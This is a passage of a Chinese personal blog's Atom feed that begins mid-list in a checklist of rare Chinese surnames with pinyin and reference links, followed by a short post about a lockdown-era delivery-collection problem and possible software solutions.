shé)</li><li><input disabled="" type="checkbox"> 474 微生(wēi shēng)</li><li><input disabled="" type="checkbox"> 483 梁丘(liáng qiū)</li><li><input disabled="" type="checkbox"> 484 左丘(zuǒ qiū)</li><li><input disabled="" type="checkbox"> 485 东门(dōng mén)</li><li><input disabled="" type="checkbox"> 486 西门(xī mén)</li><li><input disabled="" type="checkbox"> 493 南宫(nán gōng)</li><li><input disabled="" type="checkbox"> 502 第五(dì wǔ)</li></ul><h2 id="百家姓终"><a href="#百家姓终" class="headerlink" title="百家姓终"></a>百家姓终</h2><h2 id="未收录与百家姓中"><a href="#未收录与百家姓中" class="headerlink" title="未收录与百家姓中"></a>未收录与百家姓中</h2><ul><li><input checked="" disabled="" type="checkbox"> <a href="https://baike.baidu.com/item/%E6%A4%8D%E5%A7%93/9438660">植(zhí)</a></li><li><input checked="" disabled="" type="checkbox"> <a href="https://baike.baidu.com/item/%E6%99%AE%E5%A7%93/9906793">普(pǔ)</a></li><li><input checked="" disabled="" type="checkbox"> <a href="https://baike.baidu.com/item/%E4%BD%B3%E5%A7%93/9648996">佳(jiā)</a></li><li><input checked="" disabled="" type="checkbox"> <a href="https://baike.baidu.com/item/%E6%8F%A3%E5%A7%93">揣(chuǎi)</a></li><li><input checked="" disabled="" type="checkbox"> <a href="https://baike.baidu.com/item/%E8%8C%86%E5%A7%93">茆(máo)</a></li><li><input checked="" disabled="" type="checkbox"> <a href="https://baike.baidu.com/item/%E4%BE%8D%E5%A7%93">侍(shì)</a></li><li><input checked="" disabled="" type="checkbox"> <a href="https://baike.baidu.com/item/%E7%8E%89%E5%A7%93">玉(yù)</a></li><li><input checked="" disabled="" type="checkbox"> <a href="https://baike.baidu.com/item/%E8%A2%AD%E5%A7%93">袭(xi)</a></li></ul><h1 id="备注"><a href="#备注" class="headerlink" title="备注"></a>备注</h1><blockquote><p>《通志·氏族略》有一说法是 <a href="https://zh.wikipedia.org/wiki/%E4%BB%89%E5%A7%93">443 仉(zhǎng)</a>与 <a href="https://zh.m.wikipedia.org/wiki/%E7%9D%A3%E5%A7%93">444 督(dū)</a> 二个姓原是“仉督”这个复姓,但今已无此复姓。</p></blockquote><blockquote><p><a href="https://zh.wikipedia.org/wiki/%E5%82%85%E5%A7%93">84 傅</a> 简化成了 付</p></blockquote><h1 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h1><ul><li><a href="https://zh.wikipedia.org/wiki/%E7%99%BE%E5%AE%B6%E5%A7%93">https://zh.wikipedia.org/wiki/百家姓</a></li><li><a href="http://114.xixik.com/baijiaxing/">http://114.xixik.com/baijiaxing/</a></li></ul>]]></content>
<summary type="html">记录下 截至当下 遇到的那些 特别的姓</summary>
</entry>
<entry>
<title>需求与过度设计</title>
<link href="https://puzzle9.github.io/posts/5c9c0e4c/"/>
<id>https://puzzle9.github.io/posts/5c9c0e4c/</id>
<published>2022-11-20T09:37:42.000Z</published>
<updated>2024-09-11T15:20:17.366Z</updated>
<content type="html"><![CDATA[<h1 id="疫情下的责任与义务"><a href="#疫情下的责任与义务" class="headerlink" title="疫情下的责任与义务"></a>疫情下的责任与义务</h1><blockquote><p>人啊 都要为自己想做的事情奋斗一下 不然之后想起来 可能会后悔莫及且更加后悔</p></blockquote><h1 id="取东西"><a href="#取东西" class="headerlink" title="取东西"></a>取东西</h1><h2 id="设定"><a href="#设定" class="headerlink" title="设定"></a>设定</h2><p>把一片土地围起来</p><p>再分成几大不通的区域</p><p>每个区域有一个入口</p><p>区域内的人不能出来</p><p>外面的人进了这片土地也不能出去</p><p>区域内的可以把待取的东西登记到工作人员给的纸张上</p><p>再由他们同一取</p><h2 id="问题点"><a href="#问题点" class="headerlink" title="问题点"></a>问题点</h2><p>用纸登记起来太麻烦 需要填写 货物类型 手机尾号 自己所在的区域</p><p>工作人员要定期巡查 看有没有达到一定的量 再一起去取回来放到区域</p><p>区域内的再等待他们回来后再自己寻找自己的物品</p><h2 id="解决方案"><a href="#解决方案" class="headerlink" title="解决方案"></a>解决方案</h2><p>有一款在线登记软件</p><p>用户选择区域填写后</p><p>工作人员那边收到通知</p><p>取货后用户这边也会收到通知</p><p>然后下来拿货即可</p><h2 id="现有解决方案"><a href="#现有解决方案" class="headerlink" title="现有解决方案"></a>现有解决方案</h2><p>设定改为配送员可以进出</p><p>再给每个区域放一个货物架</p><p>再由土地外的配送员直接进来把货物放到指定的货物架</p>]]></content>
<summary type="html"><h1 id="疫情下的责任与义务"><a href="#疫情下的责任与义务" class="headerlink" title="疫情下的责任与义务"></a>疫情下的责任与义务</h1><blockquote>
<p>人啊 都要为自己想做的事情奋斗一下 不然之后想起来 可能会</summary>
</entry>
</feed>